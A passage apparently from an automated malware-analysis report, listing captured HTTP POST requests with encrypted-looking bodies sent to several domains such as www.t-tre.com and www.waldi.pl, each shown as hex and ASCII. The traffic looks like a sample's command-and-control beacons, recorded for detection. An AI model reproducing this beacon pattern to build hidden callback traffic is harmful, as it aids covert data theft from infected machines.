79 59 59 2b 41 75 65 38 2b 6e 4b 50 78 55 7a 55 34 79 64 66 76 45 6a 77 46 54 56 74 31 35 6e 63 52 2f 59 73 56 2b 68 36 2f 73 4e 73 6d 71 2b 45 55 48 73 59 58 79 4a 6f 45 45 32 72 76 44 44 36 34 67 74 4f 47 79 4d 44 73 51 32 69 35 72 53 6b 53 41 42 48 6a 71 50 4d 5a 58 56 52 50 67 45 46 45 47 58 30 70 75 64 57 73 56 70 72 54 45 38 59 75 67 6a 43 73 42 69 58 55 44 71 35 44 33 37 6a 57 77 53 52 37 64 7a 4c 50 41 39 78 78 51 67 4f 51 65 77 44 38 33 70 45 64 7a 42 35 69 73 4f 61 35 6a 68 43 74 45 6d 59 4e 6c 7a 77 4b 7a 53 38 6b 45 52 49 43 65 43 35 79 7a 56 6c 75 4f 48 30 48 56 67 38 65 55 5a 68 42 77 6d 6a 6e 77 66 5a 48 2f 42 6f 54 38 69 58 64 62 6d 39 77 4b 34 74 57 47 4b 4d 50 67 49 6d 48 6d 53 6d 4a 64 63 2f 78 50 52 36 68 6f 57 41 34 53 65 6d 4d 61 51 42 57 6f 77 6b 61 52 49 57 47 31 58 7a 64 6e 4d 70 38 7a 34 73 47 69 2f 4c 75 66 56 4e 69 48 53 4d 2b 76 45 4d 72 77 7a 77 58 62 47 64 79 44 50 4c 59 64 36 6a 41 44 6a 75 53 4b 77 38 2f 6b 4d 64 65 37 2b 69 34 65 59 3d Data Ascii: ohC0NrmYtBEJMCL9SGqFAVJ14+WXfKIx/WaDWECY5ng0nxvhyNexGHLTg+kco/vF0B3p/XZyw4VTCR4CxabGIo3gRoC5apSAvk2wsYFjJUhareAwDZcdo+vAhiVvxlt4yJLoaLwdSNW1Wp2vJjZnCryaQ6yK9lsvoVTHtz64/Dw5GW5p1yoe/TUE1lmRop0hzgvUihiflrxdWoEwyG3b25HSbU3VbMVZRaB8wssyrXgpyYY+Aue8+nKPxUzU4ydfvEjwFTVt15ncR/YsV+h6/sNsmq+EUHsYXyJoEE2rvDD64gtOGyMDsQ2i5rSkSABHjqPMZXVRPgEFEGX0pudWsVprTE8YugjCsBiXUDq5D37jWwSR7dzLPA9xxQgOQewD83pEdzB5isOa5jhCtEmYNlzwKzS8kERICeC5yzVluOH0HVg8eUZhBwmjnwfZH/BoT8iXdbm9wK4tWGKMPgImHmSmJdc/xPR6hoWA4SemMaQBWowkaRIWG1XzdnMp8z4sGi/LufVNiHSM+vEMrwzwXbGdyDPLYd6jADjuSKw8/kMde7+i4eY=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 528User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.t-tre.comCache-Control: no-cacheData Raw: 79 79 51 54 39 47 4a 6a 55 42 4a 75 42 34 46 58 31 51 75 76 35 75 58 2b 69 4d 33 79 79 6d 72 7a 74 71 2b 42 2f 78 48 4d 6a 53 59 6e 70 62 34 47 49 6a 48 55 79 50 66 54 61 41 34 55 61 4c 32 79 78 71 56 32 76 68 59 41 56 46 75 63 55 58 58 35 59 43 33 50 36 58 73 74 6d 79 51 78 77 72 36 6c 75 5a 56 6f 36 74 49 4e 4d 61 66 2b 45 45 68 41 68 73 52 59 41 53 57 4d 78 5a 76 70 2f 73 34 57 36 6b 69 75 6c 6c 46 46 65 42 55 4f 45 2f 69 46 4b 41 6a 72 4d 34 63 68 71 6e 4d 58 77 57 76 44 77 54 38 39 39 2b 57 58 67 35 70 50 6a 36 4d 58 64 6b 58 58 6e 67 72 51 51 6b 49 4a 78 75 31 2f 34 55 55 5a 4e 38 32 48 73 59 50 67 73 52 36 73 53 4f 41 2b 5a 45 4a 54 70 49 64 66 67 76 5a 45 67 61 76 2f 65 45 4d 6c 6c 57 46 5a 34 6e 55 6a 77 70 46 46 6b 39 63 76 36 4c 38 46 44 30 32 43 36 76 79 54 36 34 70 54 38 61 59 55 36 74 42 45 66 42 2f 30 6f 33 52 62 4d 67 49 36 36 66 62 32 45 51 41 6f 65 36 6e 6d 6b 70 54 57 77 34 79 66 65 7a 48 5a 77 33 62 79 78 39 36 63 32 4c 35 4a 6c 6b 59 6f 4f 62 4a 47 44 42 71 4c 46 47 43 45 6c 47 6a 45 58 7a 6e 6c 66 4d 4e 46 56 5a 61 41 36 6e 56 50 75 69 52 4c 6c 67 50 34 39 62 43 43 35 43 58 32 48 65 6a 68 68 4e 6f 67 5a 74 39 71 56 6f 48 39 69 41 48 45 37 4e 49 73 67 6e 39 75 42 78 4d 77 59 47 7a 59 39 41 2f 41 33 6c 65 56 34 6c 6c 42 59 65 71 2b 49 43 67 76 35 69 54 77 77 4c 53 62 4c 39 35 4f 59 6b 51 4c 6d 34 6d 69 4a 47 79 47 6d 67 79 30 35 58 32 43 38 44 74 52 73 68 35 39 63 58 47 77 39 74 4b 32 33 38 4b 48 53 58 4d 4d 4b 4c 79 34 74 39 6e 44 46 34 59 75 42 37 36 36 63 75 32 55 4c 5a 73 70 7a 76 38 44 56 31 65 70 6f 65 76 6b 38 7a 6b 34 6d 79 65 5a Data Ascii: yyQT9GJjUBJuB4FX1Quv5uX+iM3yymrztq+B/xHMjSYnpb4GIjHUyPfTaA4UaL2yxqV2vhYAVFucUXX5YC3P6XstmyQxwr6luZVo6tINMaf+EEhAhsRYASWMxZvp/s4W6kiullFFeBUOE/iFKAjrM4chqnMXwWvDwT899+WXg5pPj6MXdkXXngrQQkIJxu1/4UUZN82HsYPgsR6sSOA+ZEJTpIdfgvZEgav/eEMllWFZ4nUjwpFFk9cv6L8FD02C6vyT64pT8aYU6tBEfB/0o3RbMgI66fb2EQAoe6nmkpTWw4yfezHZw3byx96c2L5JlkYoObJGDBqLFGCElGjEXznlfMNFVZaA6nVPuiRLlgP49bCC5CX2HejhhNogZt9qVoH9iAHE7NIsgn9uBxMwYGzY9A/A3leV4llBYeq+ICgv5iTwwLSbL95OYkQLm4miJGyGmgy05X2C8DtRsh59cXGw9tK238KHSXMMKLy4t9nDF4YuB766cu2ULZspzv8DV1epoevk8zk4myeZ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.naoi-a.comCache-Control: no-cacheData Raw: 70 42 58 73 38 74 42 5a 55 42 4a 73 5a 57 47 41 59 32 4b 63 38 34 4d 78 49 70 54 34 4e 47 4e 71 42 45 62 57 54 6a 66 43 67 77 75 75 76 65 74 33 58 4d 49 56 59 67 50 66 65 47 56 54 70 55 38 67 46 42 6c 45 54 30 65 6b 57 5a 49 64 73 6e 7a 34 72 34 47 41 33 37 4c 70 59 75 67 78 77 68 54 34 6d 50 48 54 6e 46 71 31 38 31 74 35 32 43 4c 4d 34 7a 62 30 35 50 33 46 49 76 6f 4e 52 54 50 77 70 4c 6c 64 4c 70 30 31 42 58 6b 77 77 75 79 66 42 72 63 37 49 4c 54 49 52 6f 41 53 4b 44 51 38 2f 42 63 50 64 62 49 7a 6a 75 30 4e 4f 71 4c 49 47 41 50 62 6f 59 44 49 4a 75 69 6e 53 7a 49 43 4a 63 32 69 48 63 51 43 55 6e 33 67 7a 38 32 4d 79 54 54 7a 38 78 4e 42 2b 34 37 47 4a 57 43 52 35 72 67 45 70 51 44 77 2b 6a 7a 38 45 46 71 44 6e 6d 48 59 6d 31 65 36 65 65 62 31 71 4f 34 41 35 49 4c 51 4e 7a 66 6c 66 37 44 35 4c 76 52 48 6c 68 30 68 31 45 6e 31 41 6b 4a 42 30 51 71 57 5a 67 2f 61 65 38 49 50 6a 6a 72 54 7a 74 52 4c 77 79 4c 2b 6f 35 33 59 44 61 43 64 69 69 59 44 78 39 48 69 4f 54 36 62 49 45 52 6b 59 5a 66 4c 73 45 33 57 79 63 2f 68 6e 51 64 39 59 44 38 45 32 31 66 46 4a 50 43 74 55 64 6a 78 72 45 70 59 4d 2b 68 65 6b 79 33 47 71 53 58 49 76 55 79 30 4e 75 57 72 72 65 76 66 74 4e 30 4a 49 6c 53 70 63 4d 37 43 61 4b 4e 66 73 59 37 4d 39 52 67 55 47 6f 47 6a 61 70 52 4b 4d 71 56 47 69 30 49 32 4d 6c 36 67 7a 63 6d 54 67 56 74 48 68 6f 59 46 67 55 4c 59 41 32 55 5a 67 47 71 36 38 70 39 76 68 33 33 30 31 39 72 2f 43 6e 4c 63 51 4b 50 2b 79 53 43 61 4f 34 6b 6a 77 59 64 65 69 50 57 54 37 52 38 51 46 68 62 71 51 37 56 67 6e 2f 65 6a 49 45 68 69 32 74 6e 59 73 49 78 6d 71 4f 6f 6f 2b 5a 78 33 35 7a 51 3d Data Ascii: pBXs8tBZUBJsZWGAY2Kc84MxIpT4NGNqBEbWTjfCgwuuvet3XMIVYgPfeGVTpU8gFBlET0ekWZIdsnz4r4GA37LpYugxwhT4mPHTnFq181t52CLM4zb05P3FIvoNRTPwpLldLp01BXkwwuyfBrc7ILTIRoASKDQ8/BcPdbIzju0NOqLIGAPboYDIJuinSzICJc2iHcQCUn3gz82MyTTz8xNB+47GJWCR5rgEpQDw+jz8EFqDnmHYm1e6eeb1qO4A5ILQNzflf7D5LvRHlh0h1En1AkJB0QqWZg/ae8IPjjrTztRLwyL+o53YDaCdiiYDx9HiOT6bIERkYZfLsE3Wyc/hnQd9YD8E21fFJPCtUdjxrEpYM+heky3GqSXIvUy0NuWrrevftN0JIlSpcM7CaKNfsY7M9RgUGoGjapRKMqVGi0I2Ml6gzcmTgVtHhoYFgULYA2UZgGq68p9vh33019r/CnLcQKP+ySCaO4kjwYdeiPWT7R8QFhbqQ7Vgn/ejIEhi2tnYsIxmqOoo+Zx35zQ=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.edimart.huCache-Control: no-cacheData Raw: 5a 63 57 42 58 70 6f 6b 31 78 46 78 50 2b 33 65 76 53 76 37 62 39 32 6f 4c 6a 65 4b 49 46 31 52 62 71 43 6d 6e 75 48 74 52 61 44 78 74 49 77 79 44 5a 58 69 4c 45 42 59 59 34 61 58 67 59 6a 61 6e 6f 4d 30 33 64 41 4d 35 66 2f 6a 72 71 71 71 48 79 73 46 53 44 52 39 58 4d 5a 43 4e 31 76 63 6e 31 6b 6b 63 32 41 50 74 57 77 4b 79 6a 5a 37 73 4a 32 62 43 56 4b 49 59 75 77 59 5a 43 50 55 51 61 38 4b 4d 56 74 56 38 62 4a 6a 4e 55 37 59 78 57 4e 4f 67 33 76 51 4c 5a 4d 67 34 53 6a 67 55 52 65 6f 78 7a 4a 71 51 32 35 30 46 54 33 39 73 71 2f 4f 37 53 50 30 5a 4b 39 57 46 31 6c 58 6d 45 62 4b 63 62 6f 62 39 35 55 52 57 31 78 76 6e 71 68 72 33 30 6c 4a 65 33 4a 73 42 34 64 67 33 48 55 63 61 58 54 46 58 45 4b 62 38 37 5a 68 35 36 73 54 36 36 61 6a 47 30 6d 50 57 74 31 48 62 59 33 71 2f 37 52 61 35 59 71 77 54 4f 6b 71 79 6f 72 62 53 69 50 57 64 54 53 79 42 7a 58 50 77 31 64 4d 59 63 4c 35 2f 56 34 6f 59 58 47 39 71 74 62 43 74 61 38 33 71 46 6d 6b 52 57 7a 65 45 4b 56 74 52 71 4a 4e 72 74 58 56 43 4d 31 54 72 51 4c 51 54 57 32 38 58 4b 32 4f 43 4f 6f 67 42 74 55 38 64 6e 6d 77 7a 41 6c 57 69 30 75 72 31 75 43 74 4e 4e 50 42 73 4c 43 75 4c 6f 53 69 42 4a 65 56 2f 64 30 56 4e 79 72 6a 62 44 53 68 47 76 73 62 50 31 46 33 59 39 4a 45 52 47 4c 73 62 73 51 50 57 6f 72 64 62 6c 34 68 79 36 6c 58 72 78 32 75 6d 2b 6e 61 58 32 52 4d 72 66 35 4a 4a 65 79 45 62 56 6f 79 76 4e 56 43 52 55 2f 4b 68 55 75 59 6e 4a 2f 62 52 53 51 48 4f 4c 58 4c 71 30 4f 2f 45 73 71 2f 37 32 48 39 41 4b 4f 5a 4d 59 46 6c 53 42 70 52 66 6d 62 33 5a 66 4e 37 4d 5a 77 77 71 38 31 5a 49 48 59 79 47 50 5a 37 39 33 5a 34 75 4f 52 64 49 2b 4f 31 41 37 6e 38 72 4e 64 73 6d 57 61 72 57 31 37 6f 58 38 48 49 6e 37 78 53 68 43 79 76 35 34 62 42 56 54 68 6c 75 77 32 4a 59 48 63 6f 5a 32 6d 65 4f 41 3d 3d Data Ascii: ZcWBXpok1xFxP+3evSv7b92oLjeKIF1RbqCmnuHtRaDxtIwyDZXiLEBYY4aXgYjanoM03dAM5f/jrqqqHysFSDR9XMZCN1vcn1kkc2APtWwKyjZ7sJ2bCVKIYuwYZCPUQa8KMVtV8bJjNU7YxWNOg3vQLZMg4SjgUReoxzJqQ250FT39sq/O7SP0ZK9WF1lXmEbKcbob95URW1xvnqhr30lJe3JsB4dg3HUcaXTFXEKb87Zh56sT66ajG0mPWt1HbY3q/7Ra5YqwTOkqyorbSiPWdTSyBzXPw1dMYcL5/V4oYXG9qtbCta83qFmkRWzeEKVtRqJNrtXVCM1TrQLQTW28XK2OCOogBtU8dnmwzAlWi0ur1uCtNNPBsLCuLoSiBJeV/d0VNyrjbDShGvsbP1F3Y9JERGLsbsQPWordbl4hy6lXrx2um+naX2RMrf5JJeyEbVoyvNVCRU/KhUuYnJ/bRSQHOLXLq0O/Esq/72H9AKOZMYFlSBpRfmb3ZfN7MZwwq81ZIHYyGPZ793Z4uORdI+O1A7n8rNdsmWarW17oX8HIn7xShCyv54bBVThluw2JYHcoZ2meOA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wnsavoy.comCache-Control: no-cacheData Raw: 69 67 4f 49 2b 63 74 30 41 56 31 41 6f 36 73 71 49 73 50 64 38 54 51 31 70 2f 77 52 74 78 67 56 4c 77 4d 69 41 4c 6c 4c 4a 78 45 2b 69 4d 65 57 44 4a 61 6f 7a 79 6c 30 58 45 75 4f 31 4e 6a 71 4e 58 77 4b 76 45 30 33 4f 56 58 31 54 2b 53 49 55 47 6a 2f 70 39 41 53 67 5a 36 31 34 4c 6d 37 74 4f 45 42 65 65 71 53 68 36 48 70 4a 53 57 61 53 56 52 63 5a 4a 6e 57 69 38 50 30 35 65 74 77 65 2f 38 47 4e 55 74 54 41 74 77 77 43 43 74 30 63 57 47 79 68 32 75 70 5a 78 63 6d 4b 59 53 55 51 42 56 63 50 52 48 72 47 32 75 4b 48 38 51 71 55 38 47 49 39 34 77 33 66 51 71 35 78 63 48 55 58 61 51 31 45 30 62 6f 47 6b 75 49 50 6b 4c 62 41 67 45 41 45 43 4c 35 77 2b 6c 43 4b 51 56 6d 65 74 5a 2b 71 75 71 67 69 52 57 63 49 50 4b 42 57 4d 54 6b 53 50 6c 4a 4e 38 2f 2f 47 36 49 6a 5a 76 70 47 61 74 6a 6a 6b 53 6d 6f 47 34 78 4d 74 54 4c 56 35 42 2b 46 65 4d 42 45 39 56 44 78 4f 37 42 45 36 59 41 64 4c 4f 67 59 49 30 64 6f 47 58 73 38 4a 37 51 78 4f 58 6a 45 6a 62 55 44 35 73 45 31 72 30 30 35 70 37 72 4e 63 4a 36 6a 63 36 6e 4b 2b 59 67 69 6f 6b 66 37 6d 66 63 66 79 75 57 50 6a 76 30 30 41 72 6f 6a 64 51 78 54 4e 75 76 4e 4a 55 30 72 4f 67 58 74 53 45 4b 4c 78 39 31 7a 57 59 35 51 5a 73 77 69 4c 4d 35 52 55 48 38 36 7a 6f 48 67 61 73 78 73 71 61 56 71 36 4e 36 34 64 72 54 4e 35 41 52 4f 30 44 65 30 35 64 51 59 38 49 68 35 71 66 4d 48 7a 44 78 54 43 30 4b 61 67 35 4b 43 64 77 4d 6c 69 44 33 46 4a 67 58 76 6b 6f 74 38 71 79 66 74 61 6b 46 59 76 7a 41 65 35 35 44 6f 4b 77 73 6f 71 78 37 54 53 33 6e 75 31 75 73 70 6e 35 46 31 50 58 44 6d 62 69 67 4f 50 58 39 51 33 65 70 68 32 32 45 4e 31 6a 7a 34 30 69 51 66 6f 79 4c 32 6e 45 57 64 4d 69 37 57 Data Ascii: igOI+ct0AV1Ao6sqIsPd8TQ1p/wRtxgVLwMiALlLJxE+iMeWDJaozyl0XEuO1NjqNXwKvE03OVX1T+SIUGj/p9ASgZ614Lm7tOEBeeqSh6HpJSWaSVRcZJnWi8P05etwe/8GNUtTAtwwCCt0cWGyh2upZxcmKYSUQBVcPRHrG2uKH8QqU8GI94w3fQq5xcHUXaQ1E0boGkuIPkLbAgEAECL5w+lCKQVmetZ+quqgiRWcIPKBWMTkSPlJN8//G6IjZvpGatjjkSmoG4xMtTLV5B+FeMBE9VDxO7BE6YAdLOgYI0doGXs8J7QxOXjEjbUD5sE1r005p7rNcJ6jc6nK+Ygiokf7mfcfyuWPjv00ArojdQxTNuvNJU0rOgXtSEKLx91zWY5QZswiLM5RUH86zoHgasxsqaVq6N64drTN5ARO0De05dQY8Ih5qfMHzDxTC0Kag5KCdwMliD3FJgXvkot8qyftakFYvzAe55DoKwsoqx7TS3nu1uspn5F1PXDmbigOPX9Q3eph22EN1jz40iQfoyL2nEWdMi7W
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vexcom.comCache-Control: no-cacheData Raw: 44 53 34 4d 52 37 6f 7a 49 52 49 6a 69 33 64 33 58 61 2f 6b 62 2f 30 6b 67 6a 51 71 50 69 2b 52 6a 74 46 65 34 6a 75 58 79 39 71 55 48 70 49 38 51 49 78 69 77 49 35 76 43 45 75 61 4c 57 39 36 4d 37 4f 65 71 6e 6b 54 55 55 39 44 79 63 76 41 43 31 43 52 33 50 7a 5a 63 64 77 56 4e 47 55 4d 6a 45 69 76 5a 42 57 43 59 65 67 76 66 5a 50 70 50 6b 64 37 72 64 7a 4b 36 65 78 30 79 37 4e 64 66 52 63 4d 7a 5a 31 30 42 6e 65 44 55 4d 70 52 38 37 53 4a 4e 79 78 58 62 66 68 7a 64 47 32 33 56 69 33 6e 54 2b 35 43 58 37 77 71 57 72 54 69 65 77 65 30 77 32 72 54 74 72 69 55 77 34 61 46 2f 4a 32 52 53 4f 4b 36 4f 30 52 5a 66 64 46 39 70 57 32 63 4c 42 57 73 46 55 73 61 2f 37 55 41 67 35 77 42 50 6f 6f 58 36 49 39 50 43 35 6e 6a 74 72 2f 69 39 46 57 76 37 4f 4b 30 4d 48 6d 65 51 56 66 37 35 7a 63 7a 35 70 64 6e 35 35 55 43 45 7a 49 54 31 41 61 72 70 6a 49 4c 4e 49 38 76 4f 58 6e 75 41 50 36 53 65 2b 72 64 54 62 6d 6a 51 2b 34 2b 69 2b 56 32 37 4b 6d 52 6e 49 74 6c 47 46 68 7a 7a 70 4c 47 7a 55 35 70 54 6d 73 70 51 38 39 56 57 68 2f 41 77 4a 4b 38 48 4b 33 6f 69 30 6f 47 43 62 46 78 44 37 35 45 4f 76 30 37 79 5a 53 36 42 4e 51 36 79 74 34 69 65 72 36 55 4e 67 67 6e 54 4f 67 2b 36 59 6d 77 49 35 33 34 46 7a 4f 37 66 57 51 4e 4f 74 74 63 4c 72 6c 63 51 6e 48 64 42 54 66 39 63 79 42 41 64 63 43 45 54 59 42 59 30 70 76 4a 50 67 30 77 50 72 6f 64 47 76 49 50 63 63 66 37 66 44 6a 72 65 68 54 32 2b 69 58 39 78 43 68 2f 4c 48 56 58 72 55 2f 72 2b 6c 52 6b 32 58 45 49 75 66 65 58 59 48 73 49 66 54 41 73 62 44 66 52 63 2f 68 6c 4b 30 46 4c 78 4e 78 72 39 4f 55 50 66 78 78 65 56 79 6f 6f 7a 51 3d 3d Data Ascii: DS4MR7ozIRIji3d3Xa/kb/0kgjQqPi+RjtFe4juXy9qUHpI8QIxiwI5vCEuaLW96M7OeqnkTUU9DycvAC1CR3PzZcdwVNGUMjEivZBWCYegvfZPpPkd7rdzK6ex0y7NdfRcMzZ10BneDUMpR87SJNyxXbfhzdG23Vi3nT+5CX7wqWrTiewe0w2rTtriUw4aF/J2RSOK6O0RZfdF9pW2cLBWsFUsa/7UAg5wBPooX6I9PC5njtr/i9FWv7OK0MHmeQVf75zcz5pdn55UCEzIT1AarpjILNI8vOXnuAP6Se+rdTbmjQ+4+i+V27KmRnItlGFhzzpLGzU5pTmspQ89VWh/AwJK8HK3oi0oGCbFxD75EOv07yZS6BNQ6yt4ier6UNggnTOg+6YmwI534FzO7fWQNOttcLrlcQnHdBTf9cyBAdcCETYBY0pvJPg0wProdGvIPccf7fDjrehT2+iX9xCh/LHVXrU/r+lRk2XEIufeXYHsIfTAsbDfRc/hlK0FLxNxr9OUPfxxeVyoozQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.waldi.plCache-Control: no-cacheData Raw: 31 71 42 35 41 38 7a 45 67 68 4a 5a 4e 79 4c 64 4e 7a 6c 6f 66 39 39 68 2f 64 36 6b 45 63 56 46 77 48 6f 4b 56 2b 42 53 67 72 4b 4f 6a 55 61 57 30 37 65 67 2f 6b 53 71 55 78 31 31 6f 4c 56 71 72 46 7a 36 63 5a 31 65 73 43 47 51 56 51 6f 51 38 4c 5a 57 79 56 6d 43 46 69 46 59 78 75 62 69 61 34 6f 36 62 41 50 31 4b 62 78 50 70 6f 6c 61 79 62 6e 44 50 4f 31 6b 62 6f 75 47 2f 74 33 59 43 43 70 6e 4d 37 4e 54 71 4f 6c 4f 4a 33 2b 6f 5a 73 6c 75 45 6f 38 79 61 6b 4f 7a 69 73 53 6b 57 74 70 6e 6c 65 2b 51 6a 6d 77 67 56 43 34 6e 67 53 52 75 43 69 33 44 6f 58 35 37 72 48 52 33 46 57 2b 43 67 52 64 4f 77 51 33 73 2f 70 41 52 65 50 4a 58 54 79 39 6d 48 34 31 48 2b 4a 34 4b 66 41 51 63 50 69 41 4a 44 77 73 54 42 43 6a 6a 52 61 43 57 56 6a 6b 76 53 67 4e 31 55 78 73 5a 37 78 59 6d 7a 44 51 52 4f 58 4e 64 4d 30 75 59 6e 53 39 47 69 43 74 73 48 64 67 33 6e 4a 68 5a 63 2b 38 5a 68 76 33 4f 4e 67 71 35 77 39 64 65 58 46 4b 79 2f 4e 36 36 4e 69 55 6c 5a 77 79 6d 42 66 75 76 68 61 4a 4b 72 34 4f 75 38 67 59 68 4c 32 47 46 46 6b 50 4b 4f 32 67 76 73 6e 63 65 63 35 49 75 56 54 50 6d 6b 41 56 4f 4e 69 46 79 57 4d 65 49 42 63 32 47 44 70 72 38 32 69 52 67 35 69 4d 72 72 4a 65 5a 37 69 66 6e 50 7a 64 70 56 7a 71 4d 30 35 42 48 6e 66 37 73 43 72 6f 4d 55 4c 65 35 72 46 38 36 6c 54 49 4c 47 57 33 79 49 4c 73 69 73 4f 68 59 76 74 2f 47 59 64 6a 61 57 38 75 66 39 6e 62 57 62 4d 49 41 53 34 66 6b 6e 6a 62 6f 5a 30 38 42 74 61 37 42 55 58 73 56 73 36 56 6b 6c 78 59 77 61 65 6c 54 59 78 70 56 49 75 5a 37 6e 6c 55 46 44 55 52 44 72 57 44 66 47 70 4c 62 36 51 64 4a 4e 38 43 63 70 63 44 68 58 41 74 52 54 32 67 78 72 33 35 6e 6f 79 45 34 6b 6c 62 72 Data Ascii: 1qB5A8zEghJZNyLdNzlof99h/d6kEcVFwHoKV+BSgrKOjUaW07eg/kSqUx11oLVqrFz6cZ1esCGQVQoQ8LZWyVmCFiFYxubia4o6bAP1KbxPpolaybnDPO1kbouG/t3YCCpnM7NTqOlOJ3+oZsluEo8yakOzisSkWtpnle+QjmwgVC4ngSRuCi3DoX57rHR3FW+CgRdOwQ3s/pARePJXTy9mH41H+J4KfAQcPiAJDwsTBCjjRaCWVjkvSgN1UxsZ7xYmzDQROXNdM0uYnS9GiCtsHdg3nJhZc+8Zhv3ONgq5w9deXFKy/N66NiUlZwymBfuvhaJKr4Ou8gYhL2GFFkPKO2gvsncec5IuVTPmkAVONiFyWMeIBc2GDpr82iRg5iMrrJeZ7ifnPzdpVzqM05BHnf7sCroMULe5rF86lTILGW3yILsisOhYvt/GYdjaW8uf9nbWbMIAS4fknjboZ08Bta7BUXsVs6VklxYwaelTYxpVIuZ7nlUFDURDrWDfGpLb6QdJN8CcpcDhXAtRT2gxr35noyE4klbr
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wifi4all.nlCache-Control: no-cacheData Raw: 6e 39 65 63 55 33 52 41 74 78 4b 74 68 51 61 6c 7a 33 47 2f 66 73 64 6e 30 77 4a 73 61 67 36 4d 36 43 54 42 4b 73 59 42 56 31 2f 72 2f 71 38 50 6b 6c 4a 57 64 57 2f 36 6f 31 36 43 50 4c 52 66 67 6c 49 4a 63 57 63 36 37 75 73 4b 38 4c 49 51 50 67 6d 65 54 6a 34 78 5a 76 6a 57 79 44 69 2f 64 4a 54 51 2b 7a 61 63 31 30 4a 30 57 67 48 54 72 78 46 71 54 64 65 49 42 70 6d 4e 61 70 4e 49 4e 6a 6b 53 33 34 73 6c 68 51 7a 32 57 75 6f 78 6e 4c 6a 57 4f 56 48 69 74 68 56 4b 37 42 70 7a 38 59 34 52 75 72 39 6f 76 44 44 43 6d 4f 32 2b 66 49 4c 7a 71 58 4f 70 55 6e 66 61 4f 72 65 70 44 33 5a 74 69 32 6e 4f 79 6e 6d 59 4c 6e 58 50 37 73 52 54 4d 2f 6a 54 70 78 78 50 4c 52 42 52 73 2f 71 33 33 58 50 79 56 46 31 35 71 32 4e 35 33 42 64 64 78 6f 6f 34 63 6a 63 35 55 6c 51 63 53 35 31 73 47 2f 6e 41 42 4b 37 73 37 6e 6a 49 46 62 33 73 4f 59 35 51 30 48 45 36 5a 39 30 32 59 70 69 59 79 68 34 37 2b 41 46 54 6e 2f 32 54 49 63 49 74 43 31 2f 59 64 38 78 64 59 6f 52 65 2f 49 62 61 39 4a 75 6e 4e 55 75 6c 58 5a 34 2f 55 37 36 30 43 6f 48 4c 2b 46 4d 70 72 77 52 48 63 45 34 4c 35 47 37 72 2f 4c 6c 48 79 4d 66 31 59 78 4e 6f 74 53 2f 43 41 61 78 74 65 68 42 6e 73 53 34 78 7a 68 4c 51 38 41 57 6f 6f 4c 4a 79 39 4f 51 6c 50 79 52 50 2f 34 2f 73 74 34 4b 6e 69 65 78 52 31 64 44 33 66 32 63 6c 53 69 53 2f 52 7a 30 37 66 69 59 68 6a 73 51 4d 73 66 32 76 76 79 58 58 46 2b 75 76 6a 36 43 63 37 48 79 31 4e 61 2f 52 59 6b 45 65 6b 78 74 49 41 52 41 6f 68 34 7a 65 34 57 6e 78 4c 6e 65 79 37 55 39 69 75 4f 38 4a 36 61 57 78 45 73 35 57 5a 4a 39 43 67 67 71 36 52 66 6c 31 53 44 70 49 71 35 57 69 72 4c 4c 53 73 4b 41 4a 4b 43 34 76 79 41 32 32 2b 64 73 69 49 38 48 75 6e 61 44 7a 31 75 51 71 31 6d 58 33 50 69 34 67 6f 65 73 44 5a 78 72 2b 59 49 47 79 48 64 31 78 6f 66 5a 68 76 34 4d 3d Data Ascii: n9ecU3RAtxKthQalz3G/fsdn0wJsag6M6CTBKsYBV1/r/q8PklJWdW/6o16CPLRfglIJcWc67usK8LIQPgmeTj4xZvjWyDi/dJTQ+zac10J0WgHTrxFqTdeIBpmNapNINjkS34slhQz2WuoxnLjWOVHithVK7Bpz8Y4Rur9ovDDCmO2+fILzqXOpUnfaOrepD3Zti2nOynmYLnXP7sRTM/jTpxxPLRBRs/q33XPyVF15q2N53Bddxoo4cjc5UlQcS51sG/nABK7s7njIFb3sOY5Q0HE6Z902YpiYyh47+AFTn/2TIcItC1/Yd8xdYoRe/Iba9JunNUulXZ4/U760CoHL+FMprwRHcE4L5G7r/LlHyMf1YxNotS/CAaxtehBnsS4xzhLQ8AWooLJy9OQlPyRP/4/st4KniexR1dD3f2clSiS/Rz07fiYhjsQMsf2vvyXXF+uvj6Cc7Hy1Na/RYkEekxtIARAoh4ze4WnxLney7U9iuO8J6aWxEs5WZJ9Cggq6Rfl1SDpIq5WirLLSsKAJKC4vyA22+dsiI8HunaDz1uQq1mX3Pi4goesDZxr+YIGyHd1xofZhv4M=
